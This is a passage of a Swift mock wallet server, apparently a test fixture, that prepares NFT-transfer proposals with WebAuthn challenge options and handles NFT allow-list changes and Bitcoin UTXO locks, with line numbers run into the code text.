prepared objects (the challenge is the hash the Core recomputes from the object)483484 private func options(_ digest: Data) -> JSONValue {485 ["challenge": .string(digest.base64URL), "rpId": .string(rpId), "timeout": 120_000, "userVerification": "required", "allowCredentials": []]486 }487 private func uuid() -> String { UUID().uuidString.lowercased() }488 private var now: Int { Int(Date().timeIntervalSince1970) }489490 private func prepare(_ r: Recorded, idempotencyKey: String?) -> (Int, Data, String) {491 if let k = idempotencyKey, let again = byIdempotency[k] { return ok(again.setting(["replayed"], true)) }492 guard let key = r.body?["key"]?.stringValue, let to = r.body?["to"]?.stringValue, let it = item(key), let parsed = NFTKey(key) else { return refuse(404, "nft_not_found", "no such asset") }493 guard it["transfer"]?["transferable"]?.boolValue == true, let contract = it["contractAddress"]?.stringValue, let tokenId = it["tokenId"]?.stringValue else {494 let why = it["transfer"]?["blockedBy"]?[0]?.stringValue ?? "unsupported_standard"495 return refuse(422, "nft_transfer_\(why)", "this asset cannot be transferred: \(why)")496 }497 let quantity = r.body?["quantity"]?.stringValue ?? "1", held = it["quantity"]?.stringValue ?? "1"498 if to.lowercased() == NFTFixtures.refusedDestination.lowercased() { return refuse(422, "nft_transfer_policy_not_allowlisted", "the destination is not on the NFT allow-list") }499 if to.lowercased() == NFTFixtures.owner.lowercased() { return refuse(422, "nft_transfer_destination_is_wallet", "the destination is this wallet") }500 guard let q = Int(quantity), let h = Int(held), q >= 1, q <= h else { return refuse(422, "nft_transfer_insufficient_quantity", "more than the wallet holds") }501 let standard = it["standard"]?.stringValue ?? "erc721", t = now, maxFee = "3000000000000000"502 let intent: JSONValue = [503 "v": 1, "kind": "nft-transfer", "proposalId": .string(uuid()), "keyId": "spw-fixture-0123456789", "network": .string(parsed.chainId), "chainRef": parsed.chainId == "base" ? "8453" : "1",504 "standard": .string(standard), "asset": .string(contract), "tokenId": .string(tokenId), "quantity": .string(quantity), "program": .string(contract), "from": .string(NFTFixtures.owner), "to": .string(to),505 "maxFee": .string(maxFee), "createdAt": .int(Int64(t)), "expiresAt": .int(Int64(t + 120)), "policyVersion": 4, "nftPolicyVersion": 2,506 "evm": ["nonce": 31, "gasLimit": "120000", "maxFeePerGas": "20000000000", "maxPriorityFeePerGas": "1000000000"],507 ]508 guard let verified = try? NFTIntent(served: intent), let digest = try? verified.approvalDigest() else { return refuse(400, "nft_transfer_bad_destination", "not a valid destination for this network") }509 let id = verified.proposalId, networkName = parsed.chainId == "base" ? "Base" : "Ethereum"510 let method = NFTTransferStandard(rawValue: standard)?.method ?? ""511 let change: JSONValue = standard == "erc1155"512 ? ["code": "evm_units_sent", "params": ["tokenId": .string(tokenId)], "what": .string("units of id \(tokenId) sent"), "before": "0", "after": .string(quantity)]513 : ["code": "evm_owner_of_token", "params": ["tokenId": .string(tokenId)], "what": .string("owner of token \(tokenId)"), "before": .string(NFTFixtures.owner), "after": .string(to)]514 let warnings: JSONValue = standard == "erc1155" ? ["new_destination", "semi_fungible"] : ["new_destination"]515 let review: JSONValue = [516 "key": .string(key), "network": .string(parsed.chainId), "networkName": .string(networkName), "standard": .string(standard), "method": .string(method),517 "asset": .string(contract), "tokenId": .string(tokenId), "quantity": .string(quantity), "program": .string(contract), "from": .string(NFTFixtures.owner), "to": .string(to), "toKind": "account",518 "fee": ["estimate": "1800000000000000", "max": .string(maxFee), "symbol": "ETH", "decimals": 18, "rent": nil], "warnings": warnings,519 "simulation": ["ok": true, "detail": "eth_call from the wallet address succeeded", "used": "61234", "changes": [change]],520 "verified": ["standard": .string("ERC-165: \(standard == "erc1155" ? "ERC-1155" : "ERC-721") declared"), "ownership": "held by this wallet on 2 endpoints", "endpoints": 2, "at": "2026-11-17T15:00:00.000Z"],521 "accounts": [], "creatorMetadata": ["name": it["metadata"]?["name"] ?? .null, "collectionName": nil, "imageId": it["media"]?[0]?["id"] ?? .null],522 ]523 let iso = ISO8601.string(Date())524 let proposal: JSONValue = [525 "id": .string(id), "state": "pending_approval", "network": .string(parsed.chainId), "networkName": .string(networkName), "asset": .string(contract), "symbol": "NFT", "decimals": 0,526 "amount": .string(quantity), "amountDisplay": .string(quantity), "from": .string(NFTFixtures.owner), "to": .string(to), "note": "", "memo": nil, "feeEstimate": "1800000000000000", "maxFee": .string(maxFee),527 "feeSymbol": "ETH", "feeDecimals": 18, "feeDisplay": "0.0018", "maxFeeDisplay": "0.003", "warnings": warnings, "intentHash": .string(digest.hex), "txid": nil, "explorer": nil,528 "confirmations": 0, "error": nil, "errorCode": nil, "errorParams": nil, "createdAt": .string(iso), "updatedAt": .string(iso), "expiresAt": .string(ISO8601.string(Date().addingTimeInterval(120))),529 "broadcastAt": nil, "finalizedAt": nil, "kind": "nft", "nft": review,530 ]531 transfers[id] = TransferState(proposal: proposal, key: key, quantity: quantity)532 let answer: JSONValue = ["proposal": proposal, "intent": intent, "review": review, "options": options(digest), "replayed": false]533 if let k = idempotencyKey { byIdempotency[k] = answer }534 return ok(answer)535 }536537 private func allowList() -> JSONValue {538 ["allowlistOnly": false, "supported": true, "entries": .array(allowEntries.map { ["network": .string($0.network), "address": .string($0.address), "approvedAt": 1_794_000_000] })]539 }540 private func prepareAllow(_ r: Recorded) -> (Int, Data, String) {541 guard let network = r.body?["network"]?.stringValue, let address = r.body?["address"]?.stringValue, let action = r.body?["action"]?.stringValue else { return refuse(400, "bad_request", "network, address, action") }542 let t = now543 let intent: JSONValue = ["v": 1, "kind": "nft-allow", "requestId": .string(uuid()), "keyId": "spw-fixture-0123456789", "network": .string(network), "action": .string(action), "address": .string(address),544 "createdAt": .int(Int64(t)), "expiresAt": .int(Int64(t + 120)), "policyVersion": 4]545 guard let i = try? NFTAllowIntent(served: intent), let digest = try? i.approvalDigest() else { return refuse(400, "bad_address", "not an address of this network") }546 return ok(["intent": intent, "options": options(digest)])547 }548 private func approveAllow(_ r: Recorded) -> (Int, Data, String) {549 guard let j = r.body?["intent"], let i = try? NFTAllowIntent(served: j), let digest = try? i.approvalDigest(), r.body?["assertion"] != nil else { return refuse(400, "bad_request", "intent, assertion") }550 allowEntries.removeAll { $0.network == i.network && $0.address.lowercased() == i.address.lowercased() }551 if i.action == .add { allowEntries.append((i.network, i.address)) }552 return ok(["network": .string(i.network), "address": .string(i.address), "action": .string(i.action.rawValue), "entries": .int(Int64(allowEntries.count)), "hash": .string(digest.hex)])553 }554555 private func utxoLocks(_ network: String) -> JSONValue {556 let base = NFTFixtures.json(NFTFixtureData.utxoLocks).setting(["network"], .string(network))557 guard network == "bitcoin" else { return base.setting(["utxos"], []).setting(["staleLocks"], []).setting(["mode"], "locks_only") }558 let utxos: [JSONValue] = (base["utxos"]?.arrayValue ?? []).map { u in559 let o = u["outpoint"]?.stringValue ?? "", small = (u["value"]?.doubleValue ?? 0) <= 10_000560 let isLocked = locked.contains(o), seen = reviewed.contains(o)561 let reasons: [JSONValue] = (isLocked ? ["signer_locked"] : []) + (small ? ["heuristic_small"] : [])562 return u.setting(["signerLock"], isLocked ? ["reason": "owner", "at": 1_794_000_000] : nil).setting(["excludedBy"], .array(reasons)).setting(["reviewed"], .bool(seen))563 .setting(["spendable"], .bool(!isLocked && (!small || seen)))564 }565 return base.setting(["utxos"], .array(utxos))566 }567 private func prepareLocks(_ r: Recorded) -> (Int, Data, String) {568 guard let network = r.body?["network"]?.stringValue, let action = r.body?["action"]?.stringValue, let reason = r.body?["reason"]?.stringValue, let asked = r.body?["outpoints"]?.arrayValue else { return refuse(400, "bad_request", "network, action, reason, outpoints") }569 var seen: [String] = []570 for o in asked.compactMap(\.stringValue) where !seen.contains(o) { seen.append(o) }571 let outpoints: [JSONValue] = seen.map { o in572 let p = o.split(separator: ":")573 return ["txid": .string(String(p.first ?? "")), "vout": .int(Int64(Int(p.last ?? "") ?? -1))]574 }575 let t = now576 let intent: JSONValue = ["v": 1, "kind": "utxo-locks", "requestId": .string(uuid()), "keyId": "spw-fixture-0123456789", "network": .string(network), "action": .string(action), "reason": .string(reason),577 "outpoints": .array(outpoints), "createdAt": .int(Int64(t)), "expiresAt": .int(Int64(t + 120)), "policyVersion": 4]578 guard let i = try? UTXOLockIntent(served: intent), let digest = try? i.approvalDigest() else { return refuse(400, "bad_request", "outpoints") }579 return ok(["intent": intent, "options": options(digest), "hash": .string(digest.hex)])580 }581 private func approveLocks(_ r: Recorded) -> (Int, Data, String) {582 guard let j = r.body?["intent"], let i = try? UTXOLockIntent(served: j), let digest = try? i.approvalDigest(), r.body?["assertion"] != nil else { return refuse(400, "bad_request", "intent, assertion") }583 var changed = 0584 for o in i.outpoints.map(\.key) {585 if i.action == .lock { if locked.insert(o).inserted { changed += 1 } } else if locked.remove(o) != nil { changed += 1 }586 }587 return ok(["network": .string(i.network), "action": .string(i.action.rawValue), "changed": .int(Int64(changed)), "locked": .int(Int64(locked.count)), "hash": .string(digest.hex)])588 }589}590#endif591